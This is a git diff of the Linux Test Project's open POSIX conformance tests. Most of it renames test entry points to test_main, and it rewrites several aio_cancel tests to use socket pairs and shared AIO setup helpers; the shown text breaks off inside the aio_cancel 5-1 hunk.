+stress-all: $(CRITICAL_MAKEFILE) lib-all @rm -f `if echo "$(LOGFILE)" | grep -q '^/'; then echo "$(LOGFILE)"; else echo "\`pwd\`/$(LOGFILE)"; fi`.$@ @$(BUILD_MAKE) -C stress -j1 all diff --git a/ltp/testcases/open_posix_testsuite/conformance/behavior/WIFEXITED/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/behavior/WIFEXITED/1-1.c index ae021917..6f7044b4 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/behavior/WIFEXITED/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/behavior/WIFEXITED/1-1.c @@ -11,7 +11,7 @@ #include <unistd.h> #include "posixtest.h" -int main() +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int s; diff --git a/ltp/testcases/open_posix_testsuite/conformance/behavior/WIFEXITED/1-2.c b/ltp/testcases/open_posix_testsuite/conformance/behavior/WIFEXITED/1-2.c index b86fd567..b6aed2f6 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/behavior/WIFEXITED/1-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/behavior/WIFEXITED/1-2.c @@ -11,7 +11,7 @@ #include <unistd.h> #include "posixtest.h" -int main() +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int s; diff --git a/ltp/testcases/open_posix_testsuite/conformance/behavior/WIFEXITED/1-3.c b/ltp/testcases/open_posix_testsuite/conformance/behavior/WIFEXITED/1-3.c index b1eeda16..93f06187 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/behavior/WIFEXITED/1-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/behavior/WIFEXITED/1-3.c @@ -11,7 +11,7 @@ #include <unistd.h> #include "posixtest.h" -int main() +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int s; diff --git a/ltp/testcases/open_posix_testsuite/conformance/behavior/timers/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/behavior/timers/1-1.c index 460451c7..6864900a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/behavior/timers/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/behavior/timers/1-1.c @@ -19,7 +19,7 @@ #include <unistd.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { timer_t tid; int i; diff --git a/ltp/testcases/open_posix_testsuite/conformance/behavior/timers/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/behavior/timers/2-1.c index d77a1405..f7d720b4 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/behavior/timers/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/behavior/timers/2-1.c @@ -14,7 +14,7 @@ #include <unistd.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { long scTIMER_MAX = 0; diff --git a/ltp/testcases/open_posix_testsuite/conformance/definitions/aio_h/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/definitions/aio_h/2-1.c index 133b3a51..b8b185d1 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/definitions/aio_h/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/definitions/aio_h/2-1.c @@ -11,8 +11,9 @@ #include <aio.h> #include <stdlib.h> /* For NULL on non-linux platforms. */ #include <string.h> +#include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct aiocb aiocb; struct sigevent sigevent; diff --git a/ltp/testcases/open_posix_testsuite/conformance/definitions/aio_h/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/definitions/aio_h/4-1.c index 9283e1de..19c0ec72 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/definitions/aio_h/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/definitions/aio_h/4-1.c @@ -7,6 +7,7 @@ */ #include <aio.h> +#include "posixtest.h" static int (*dummy0) (int, struct aiocb*) = aio_cancel; static int (*dummy1) (const struct aiocb*) = aio_error; @@ -19,7 +20,7 @@ static int (*dummy6) (struct aiocb *) = aio_write; static int (*dummy7) (int, struct aiocb *const [restrict], int, struct sigevent *restrict) = lio_listio; -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { return 0; } diff --git a/ltp/testcases/open_posix_testsuite/conformance/definitions/errno_h/3-2.c b/ltp/testcases/open_posix_testsuite/conformance/definitions/errno_h/3-2.c index 97aa1f5b..9ebad947 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/definitions/errno_h/3-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/definitions/errno_h/3-2.c @@ -8,6 +8,7 @@ #include <stdio.h> #include <string.h> #include <errno.h> +#include "posixtest.h" #define PTP_PASS 0 #define PTP_FAIL 1 @@ -110,7 +111,7 @@ EXDEV, "EXDEV", EXDEV}, { 0, 0, 0} }; -int main() +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct unique *tst; int i, ret = PTP_PASS; diff --git a/ltp/testcases/open_posix_testsuite/conformance/definitions/errno_h/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/definitions/errno_h/4-1.c index d43a2167..75ab9153 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/definitions/errno_h/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/definitions/errno_h/4-1.c @@ -5,6 +5,8 @@ */ #include <stdio.h> #include <errno.h> +#include "posixtest.h" + #define PTP_PASS 0 #define PTP_FAIL 1 #define PTP_UNRESOLVED 2 @@ -105,7 +107,7 @@ EXDEV, "EXDEV"}, { 0, 0} }; -int main() +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct unique *tst = sym; int ret = PTP_PASS; diff --git a/ltp/testcases/open_posix_testsuite/conformance/definitions/mqueue_h/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/definitions/mqueue_h/1-1.c index 7bd3435d..a43499fd 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/definitions/mqueue_h/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/definitions/mqueue_h/1-1.c @@ -35,7 +35,7 @@ } \ } while (0) -int main() +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct mq_attr mqs; diff --git a/ltp/testcases/open_posix_testsuite/conformance/definitions/sched_h/10-1.c b/ltp/testcases/open_posix_testsuite/conformance/definitions/sched_h/10-1.c index 7a1452d4..9607db71 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/definitions/sched_h/10-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/definitions/sched_h/10-1.c @@ -34,7 +34,7 @@ static struct unique { 0, 0} }; -int main() +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct unique *tst; int i, ret = PTS_PASS; diff --git a/ltp/testcases/open_posix_testsuite/conformance/definitions/signal_h/13-1.c b/ltp/testcases/open_posix_testsuite/conformance/definitions/signal_h/13-1.c index fad70cdb..95d34343 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/definitions/signal_h/13-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/definitions/signal_h/13-1.c @@ -5,8 +5,9 @@ #include <signal.h> #include <stdio.h> +#include "posixtest.h" -int main() +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if ((0 == SIGABRT) || (0 == SIGALRM) || diff --git a/ltp/testcases/open_posix_testsuite/conformance/definitions/signal_h/19-1.c b/ltp/testcases/open_posix_testsuite/conformance/definitions/signal_h/19-1.c index e641bc27..c5678de2 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/definitions/signal_h/19-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/definitions/signal_h/19-1.c @@ -4,13 +4,14 @@ #include <sys/types.h> #include <signal.h> +#include "posixtest.h" static stack_t this_type_should_exist, t; static void *sp; static size_t size; static int flags; -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sp = t.ss_sp; size = t.ss_size; diff --git a/ltp/testcases/open_posix_testsuite/conformance/definitions/signal_h/26-1.c b/ltp/testcases/open_posix_testsuite/conformance/definitions/signal_h/26-1.c index bb818254..46a3d3b9 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/definitions/signal_h/26-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/definitions/signal_h/26-1.c @@ -6,10 +6,11 @@ #include <pthread.h> #include <signal.h> +#include "posixtest.h" typedef int (*pthread_kill_test) (pthread_t, int); -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_kill_test dummyvar; dummyvar = pthread_kill; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/1-1.c index c5c9b8d2..2e50c5f6 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/1-1.c @@ -35,7 +35,7 @@ #define TNAME "aio_cancel/1-1.c" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; #define BUF_SIZE 1024 diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/10-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/10-1.c index 9c6f4116..99637b81 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/10-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/10-1.c @@ -31,7 +31,7 @@ #define TNAME "aio_cancel/10-1.c" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (sysconf(_SC_ASYNCHRONOUS_IO) < 200112L) diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/2-1.c index 63dc6b0e..87bafaaf 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/2-1.c @@ -1,5 +1,6 @@ /* * Copyright (c) 2004, Bull SA. All rights reserved. + * Copyright (c) 2025 SUSE LLC * Created by: Laurent.Vivier@bull.net * This file is licensed under the GPL license. For the full content * of this license, see the COPYING file at the top level of this @@ -14,77 +15,82 @@ * * method: * - * open a file and queue a write to it with aio_write() - * execute aio_cancel() on this file - * check aio_cancel() is not -1 + * open a pair of sockets and queue writes to them with aio_write() + * execute aio_cancel() on the socket + * check aio_cancel() returns zero or AIO_NOTCANCELED + * check that aio_error() returns ECANCELED for cancelable requests * -> aio_cancel() works on fildes used with an aio command * - * we have no way to assert we generate "cancelable" AIO and thus to check - * if it has been really canceled + * we queue enough writes to ensure that one of them will block + * on full socket buffer and the last one will be cancelable * */ -#include <stdio.h> #include <sys/types.h> #include <unistd.h> #include <sys/stat.h> #include <fcntl.h> -#include <string.h> -#include <errno.h> -#include <stdlib.h> -#include <aio.h> #include <time.h> #include "posixtest.h" -#include "tempfile.h" +#include "aio_test.h" #define TNAME "aio_cancel/2-1.c" -int main(void) +#define WRITE_COUNT 8 +#define BLOCKED_TASK 2 + +static int fds[2]; +static struct aiocb aiocb[WRITE_COUNT]; + +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { - char tmpfname[PATH_MAX]; -#define BUF_SIZE 1024 - char buf[BUF_SIZE]; - int fd, err; - struct aiocb aiocb; + int i; + int ret; if (sysconf(_SC_ASYNCHRONOUS_IO) < 200112L) return PTS_UNSUPPORTED; - PTS_GET_TMP_FILENAME(tmpfname, "pts_aio_cancel_2_1"); - unlink(tmpfname); - fd = open(tmpfname, O_CREAT | O_RDWR | O_EXCL, S_IRUSR | S_IWUSR); - if (fd == -1) { - printf(TNAME " Error at open(): %s\n", strerror(errno)); + if (setup_aio(TNAME, fds, aiocb, WRITE_COUNT)) return PTS_UNRESOLVED; - } - unlink(tmpfname); + /* submit AIO req */ + for (i = 0; i < WRITE_COUNT; i++) { + if (aio_write(&aiocb[i]) == -1) { + printf(TNAME " loop %d: Error at aio_write(): %s\n", + i, strerror(errno)); + cleanup_aio(fds, aiocb, WRITE_COUNT); + return PTS_FAIL; + } + } - memset(buf, 0xaa, BUF_SIZE); - memset(&aiocb, 0, sizeof(struct aiocb)); - aiocb.aio_fildes = fd; - aiocb.aio_buf = buf; - aiocb.aio_nbytes = BUF_SIZE; + ret = aio_cancel(fds[0], NULL); - if (aio_write(&aiocb) == -1) { - printf(TNAME " Error at aio_write(): %s\n", strerror(errno)); + if (ret == -1) { + printf(TNAME " Error at aio_cancel(): %s\n", strerror(errno)); + cleanup_aio(fds, aiocb, WRITE_COUNT); return PTS_FAIL; } - switch (aio_cancel(fd, NULL)) { - case -1: - printf(TNAME " Error at aio_cancel(): %s\n", strerror(errno)); + if (ret != 0 && ret != AIO_NOTCANCELED) { + printf(TNAME " Unexpected aio_cancel() return value: %d\n", + ret); + cleanup_aio(fds, aiocb, WRITE_COUNT); return PTS_FAIL; - case AIO_NOTCANCELED: - do { - struct timespec completion_wait_ts = {0, 10000000}; - nanosleep(&completion_wait_ts, NULL); - err = aio_error(&aiocb); - } while (err == EINPROGRESS); } - close(fd); + for (i = BLOCKED_TASK + 1; i < WRITE_COUNT; i++) { + ret = aio_error(&aiocb[i]); + + if (ret != ECANCELED) { + printf(TNAME " AIO request %d was not canceled: %s\n", + i, strerror(ret)); + cleanup_aio(fds, aiocb, WRITE_COUNT); + return PTS_FAIL; + } + } + + cleanup_aio(fds, aiocb, WRITE_COUNT); printf("Test PASSED\n"); return PTS_PASS; } diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/2-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/2-2.c index fa782767..a0c9a723 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/2-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/2-2.c @@ -36,7 +36,7 @@ #define TNAME "aio_cancel/2-2.c" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; int fd; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/3-1.c index b74d11c6..4ab86a1d 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/3-1.c @@ -1,5 +1,6 @@ /* * Copyright (c) 2004, Bull SA. All rights reserved. + * Copyright (c) 2026 SUSE LLC * Created by: Laurent.Vivier@bull.net * This file is licensed under the GPL license. For the full content * of this license, see the COPYING file at the top level of this @@ -14,44 +15,39 @@ * * method: * - * we queue a lot of aio_write() with a valid sigevent to a file descriptor - * next we try to cancel all operations on this file descriptor - * we guess some have been finished, other are in progress, - * other are waiting - * we guess we can cancel all operations waiting - * then we analyze aio_error() in the event handler - * if aio_error() is ECANCELED, the test is passed - * otherwise, we don't know (perhaps we haven't cancel any operation ?) - * if number of sig event is not equal to number of aio_write() - * the test fails (in fact it hangs). + * open a pair of sockets and queue writes to them with aio_write() + * execute aio_cancel() on the socket + * then analyze aio_error() in the event handler + * if number of sig events is not equal to number of write requests, + * the test fails + * if aio_error() returns ECANCELED for the expected requests, + * the test passes * */ -#include <stdio.h> #include <sys/types.h> #include <unistd.h> #include <sys/stat.h> #include <fcntl.h> -#include <string.h> -#include <errno.h> #include <signal.h> -#include <stdlib.h> -#include <aio.h> #include <time.h> #include "posixtest.h" -#include "tempfile.h" +#include "aio_test.h" #define TNAME "aio_cancel/3-1.c" -#define BUF_NB 128 -#define BUF_SIZE (1024 * 1024) +#define WRITE_COUNT 8 +#define MAX_COMPLETE 3 +#define MAX_WAIT_RETRIES 100 -static volatile int countdown = BUF_NB; +static volatile int countdown = WRITE_COUNT; static volatile int canceled; +static int fds[2]; +static struct aiocb aiocb[WRITE_COUNT]; static void sig_handler(int signum PTS_ATTRIBUTE_UNUSED, siginfo_t *info, - void *context PTS_ATTRIBUTE_UNUSED) + void *context PTS_ATTRIBUTE_UNUSED) { struct aiocb *a = info->si_value.sival_ptr; @@ -59,98 +55,73 @@ static void sig_handler(int signum PTS_ATTRIBUTE_UNUSED, siginfo_t *info, canceled++; aio_return(a); /* free entry */ - countdown--; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { - char tmpfname[PATH_MAX]; - int fd; - struct aiocb *aiocb_list[BUF_NB]; - struct aiocb *aiocb; struct sigaction action; struct timespec processing_completion_ts = {0, 10000000}; int i; if (sysconf(_SC_ASYNCHRONOUS_IO) < 200112L) { - printf(TNAME " %ld\n", sysconf(_SC_ASYNCHRONOUS_IO)); + printf(TNAME " Unsupported AIO version: %ld\n", + sysconf(_SC_ASYNCHRONOUS_IO)); return PTS_UNSUPPORTED; } - PTS_GET_TMP_FILENAME(tmpfname, "pts_aio_cancel_3_1"); - unlink(tmpfname); - fd = open(tmpfname, O_CREAT | O_RDWR | O_EXCL, S_IRUSR | S_IWUSR); - if (fd == -1) { - printf(TNAME " Error at open(): %s\n", strerror(errno)); - return PTS_UNRESOLVED; - } - - unlink(tmpfname); - /* install signal handler */ - action.sa_sigaction = sig_handler; sigemptyset(&action.sa_mask); action.sa_flags = SA_SIGINFO | SA_RESTART; + if (sigaction(SIGRTMIN + 1, &action, NULL)) { printf(TNAME " Error at sigaction(): %s\n", strerror(errno)); - return PTS_FAIL; + return PTS_UNRESOLVED; } - /* create AIO req */ - - for (i = 0; i < BUF_NB; i++) { - aiocb = malloc(sizeof(struct aiocb)); - if (aiocb == NULL) { - printf(TNAME " Error at malloc(): %s\n", - strerror(errno)); - return PTS_FAIL; - } - - aiocb->aio_fildes = fd; - aiocb->aio_buf = malloc(BUF_SIZE); - if (aiocb->aio_buf == NULL) { - printf(TNAME " Error at malloc(): %s\n", - strerror(errno)); - return PTS_FAIL; - } - - aiocb->aio_nbytes = BUF_SIZE; - aiocb->aio_offset = 0; - - aiocb->aio_sigevent.sigev_notify = SIGEV_SIGNAL; - aiocb->aio_sigevent.sigev_signo = SIGRTMIN + 1; - aiocb->aio_sigevent.sigev_value.sival_ptr = aiocb; - aiocb->aio_reqprio = 0; + if (setup_aio(TNAME, fds, aiocb, WRITE_COUNT)) + return PTS_UNRESOLVED; - aiocb_list[i] = aiocb; - } + /* submit AIO req */ + for (i = 0; i < WRITE_COUNT; i++) { + aiocb[i].aio_sigevent.sigev_notify = SIGEV_SIGNAL; + aiocb[i].aio_sigevent.sigev_signo = SIGRTMIN + 1; + aiocb[i].aio_sigevent.sigev_value.sival_ptr = &aiocb[i]; + aiocb[i].aio_reqprio = 0; - for (i = 0; i < BUF_NB; i++) { - if (aio_write(aiocb_list[i]) == -1) { + if (aio_write(&aiocb[i]) == -1) { printf(TNAME " loop %d: Error at aio_write(): %s\n", - i, strerror(errno)); + i, strerror(errno)); + cleanup_aio(fds, aiocb, WRITE_COUNT); return PTS_FAIL; } } - /* try to cancel all - * we hope to have enough time to cancel at least one - */ - - if (aio_cancel(fd, NULL) == -1) { + /* cancel all requests */ + if (aio_cancel(fds[0], NULL) == -1) { printf(TNAME " Error at aio_cancel(): %s\n", strerror(errno)); + cleanup_aio(fds, aiocb, WRITE_COUNT); return PTS_FAIL; } - close(fd); + cleanup_aio(fds, aiocb, WRITE_COUNT); - while (countdown) + /* wait for signal delivery */ + for (i = 0; countdown && i < MAX_WAIT_RETRIES; i++) nanosleep(&processing_completion_ts, NULL); - if (!canceled) - return PTS_UNRESOLVED; + if (countdown) { + printf(TNAME " %d task completion signals were not delivered", + countdown); + return PTS_FAIL; + } + + if (canceled < WRITE_COUNT - MAX_COMPLETE) { + printf(TNAME " %d AIO requests got canceled, expected %d", + canceled, WRITE_COUNT - MAX_COMPLETE); + return PTS_FAIL; + } printf("Test PASSED\n"); return PTS_PASS; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/4-1.c index ef615ae6..d1a94df4 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/4-1.c @@ -1,5 +1,6 @@ /* * Copyright (c) 2004, Bull SA. All rights reserved. + * Copyright (c) 2026 SUSE LLC * Created by: Laurent.Vivier@bull.net * This file is licensed under the GPL license. For the full content * of this license, see the COPYING file at the top level of this @@ -14,122 +15,83 @@ * * method: * - * we queue a lot of aio_write() operation to a file descriptor - * then we try to cancel all aio operation of this file descriptor - * we check with aio_error() state of each operation - * if aio_error() is ECANCELED and aio_return() is -1 - * test is passed - * if aio_error() is ECANCELED and aio_return() is NOT -1 - * test fails - * otherwise - * test is unresolved + * open a pair of sockets and queue writes to them with aio_write() + * execute aio_cancel() on the socket + * check aio_error() and aio_return() results for writes which should + * have been canceled + * if any aio_error() is not ECANCELED or aio_return() is not -1, + * the test fails + * otherwise the test passes * */ -#include <stdio.h> #include <sys/types.h> #include <unistd.h> -#include <sys/stat.h> -#include <fcntl.h> -#include <string.h> -#include <errno.h> -#include <stdlib.h> -#include <aio.h> #include "posixtest.h" -#include "tempfile.h" +#include "aio_test.h" #define TNAME "aio_cancel/4-1.c" -#define BUF_NB 128 -#define BUF_SIZE (1024*1024) +#define WRITE_COUNT 8 +#define MAX_COMPLETE 3 -int main(void) +static int fds[2]; +static struct aiocb aiocb[WRITE_COUNT]; + +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { - char tmpfname[PATH_MAX]; - int fd; - struct aiocb *aiocb[BUF_NB]; int i; - int in_progress; if (sysconf(_SC_ASYNCHRONOUS_IO) < 200112L) return PTS_UNSUPPORTED; - PTS_GET_TMP_FILENAME(tmpfname, "pts_aio_cancel_4_1"); - unlink(tmpfname); - fd = open(tmpfname, O_CREAT | O_RDWR | O_EXCL, S_IRUSR | S_IWUSR); - if (fd == -1) { - printf(TNAME " Error at open(): %s\n", strerror(errno)); + if (setup_aio(TNAME, fds, aiocb, WRITE_COUNT)) return PTS_UNRESOLVED; - } - - unlink(tmpfname); - - /* create AIO req */ - - for (i = 0; i < BUF_NB; i++) { - aiocb[i] = malloc(sizeof(struct aiocb)); - if (aiocb[i] == NULL) { - printf(TNAME " Error at malloc(): %s\n", - strerror(errno)); - return PTS_UNRESOLVED; - } - memset(aiocb[i], 0, sizeof(struct aiocb)); - aiocb[i]->aio_fildes = fd; - aiocb[i]->aio_buf = malloc(BUF_SIZE); - if (aiocb[i]->aio_buf == NULL) { - printf(TNAME " Error at malloc(): %s\n", - strerror(errno)); - return PTS_UNRESOLVED; - } - aiocb[i]->aio_nbytes = BUF_SIZE; - aiocb[i]->aio_offset = 0; - aiocb[i]->aio_sigevent.sigev_notify = SIGEV_NONE; - } - for (i = 0; i < BUF_NB; i++) { - if (aio_write(aiocb[i]) == -1) { + /* submit AIO req */ + for (i = 0; i < WRITE_COUNT; i++) { + if (aio_write(&aiocb[i]) == -1) { printf(TNAME " loop %d: Error at aio_write(): %s\n", - i, strerror(errno)); + i, strerror(errno)); + cleanup_aio(fds, aiocb, WRITE_COUNT); return PTS_FAIL; } } - /* try to cancel all - * we hope to have enough time to cancel at least one - */ - - if (aio_cancel(fd, NULL) == -1) { + /* cancel all */ + if (aio_cancel(fds[0], NULL) == -1) { printf(TNAME " Error at aio_cancel(): %s\n", strerror(errno)); + cleanup_aio(fds, aiocb, WRITE_COUNT); return PTS_FAIL; } - close(fd); - - do { - in_progress = 0; - for (i = 0; i < BUF_NB; i++) { - int ret; - - ret = (aio_error(aiocb[i])); - - if (ret == -1) { - printf(TNAME " Error at aio_error(): %s\n", - strerror(errno)); - return PTS_FAIL; - } else if (ret == EINPROGRESS) - in_progress = 1; - else if (ret == ECANCELED) { - if (aio_return(aiocb[i]) == -1) { - printf("Test PASSED\n"); - return PTS_PASS; - } - - printf(TNAME " aio_return is not -1\n"); - return PTS_FAIL; - } + /* check results of requests that should have been canceled */ + for (i = MAX_COMPLETE; i < WRITE_COUNT; i++) { + int ret = aio_error(&aiocb[i]); + + if (ret == -1) { + printf(TNAME " Error at aio_error(): %s\n", + strerror(errno)); + cleanup_aio(fds, aiocb, WRITE_COUNT); + return PTS_FAIL; + } else if (ret != ECANCELED) { + printf(TNAME " Bad task #%d result: %s " + "(expected ECANCELED)\n", i, strerror(ret)); + cleanup_aio(fds, aiocb, WRITE_COUNT); + return PTS_FAIL; + } + + ret = aio_return(&aiocb[i]); + + if (ret != -1) { + printf(TNAME " aio_return(): %d (expected -1)\n", ret); + cleanup_aio(fds, aiocb, WRITE_COUNT); + return PTS_FAIL; } - } while (in_progress); + } - return PTS_UNRESOLVED; + cleanup_aio(fds, aiocb, WRITE_COUNT); + printf("Test PASSED\n"); + return PTS_PASS; } diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/5-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/5-1.c index 5ed4f6d4..0220acd7 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/5-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/aio_cancel/5-1.c @@ -1,5 +1,6 @@ /* * Copyright (c) 2004, Bull SA. All rights reserved. + * Copyright (c) 2025 SUSE LLC * Created by: Laurent.Vivier@bull.net * This file is licensed under the GPL license. For the full content * of this license, see the COPYING file at the top level of this @@ -13,7 +14,7 @@ * * method: * - * queue a some aio_write() to a file descriptor + * queue some aio_write() to a file descriptor * cancel all operations for this file descriptor * for all operations not canceled at end of operations * verify that values in aiocb is the good ones @@ -24,121 +25,121 @@ * */ -#include <stdio.h> #include <sys/types.h> #include <unistd.h> #include <sys/stat.h> -#include <fcntl.h> -#include <string.h> -#include <errno.h> -#include <stdlib.h> -#include <aio.h> +#include <time.h> #include "posixtest.h" -#include "tempfile.h" +#include "aio_test.h" #define TNAME "aio_cancel/5-1.c" -#define BUF_NB 128 -#define BUF_SIZE 1024 +#define BUF_NB 8 +#define BLOCKED_TASK 2 -int main(void) +static int fds[2]; +static struct aiocb aiocb[BUF_NB]; + +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { - char tmpfname[PATH_MAX]; - int fd; - struct aiocb *aiocb[BUF_NB]; char *buf[BUF_NB]; int i; - int in_progress; - static int check_one; + int ret; + int bufsize; + int exp_ret; + const struct timespec sleep_ts = { .tv_sec = 0, .tv_nsec = 10000000 }; if (sysconf(_SC_ASYNCHRONOUS_IO) < 200112L) return PTS_UNSUPPORTED; - PTS_GET_TMP_FILENAME(tmpfname, "pts_aio_cancel_5_1"); - unlink(tmpfname); - fd = open(tmpfname, O_CREAT | O_RDWR | O_EXCL, S_IRUSR | S_IWUSR); - if (fd == -1) { - printf(TNAME " Error at open(): %s\n", strerror(errno)); + if (setup_aio(TNAME, fds, aiocb, BUF_NB)) return PTS_UNRESOLVED; - } - - unlink(tmpfname); - /* create AIO req */ + bufsize = aiocb[0].aio_nbytes; + /* submit AIO req */ for (i = 0; i < BUF_NB; i++) { - aiocb[i] = calloc(1, sizeof(struct aiocb)); - if (aiocb[i] == NULL) { - printf(TNAME " Error at malloc(): %s\n", - strerror(errno)); - return PTS_UNRESOLVED; - } - buf[i] = malloc(BUF_SIZE); - if (buf[i] == NULL) { - printf(TNAME " Error at malloc(): %s\n", - strerror(errno)); - return PTS_UNRESOLVED; - } - aiocb[i]->aio_fildes = fd; - aiocb[i]->aio_buf = buf[i]; - aiocb[i]->aio_nbytes = BUF_SIZE; - aiocb[i]->aio_offset = 0; - aiocb[i]->aio_sigevent.sigev_notify = SIGEV_NONE; + buf[i] = (char *)aiocb[i].aio_buf; - if (aio_write(aiocb[i]) == -1) { + if (aio_write(&aiocb[i]) == -1) { printf(TNAME " loop %d: Error at aio_write(): %s\n", - i, strerror(errno)); + i, strerror(errno)); + cleanup_aio(fds, aiocb, BUF_NB); return PTS_FAIL; } } - /* try to cancel all - * we hope to have enough time to cancel at least one - */ + /* wait for write #2 to start and get blocked by full socket buffer */ + for (i = 0; i < 1000; i++) { + ret = aio_error(&aiocb[BLOCKED_TASK - 1]); + nanosleep(&sleep_ts, NULL); + + if (ret <= 0) + break; + } + + if (ret) { + printf(TNAME " Task #%d failed to complete: %s\n", + BLOCKED_TASK - 1, strerror(ret == -1 ? errno : ret)); + cleanup_aio(fds, aiocb, BUF_NB); + return PTS_FAIL; + } - if (aio_cancel(fd, NULL) == -1) { + /* try to cancel all */ + ret = aio_cancel(fds[0], NULL); + if (ret == -1) { printf(TNAME " Error at aio_cancel(): %s\n", strerror(errno)); + cleanup_aio(fds, aiocb, BUF_NB); return 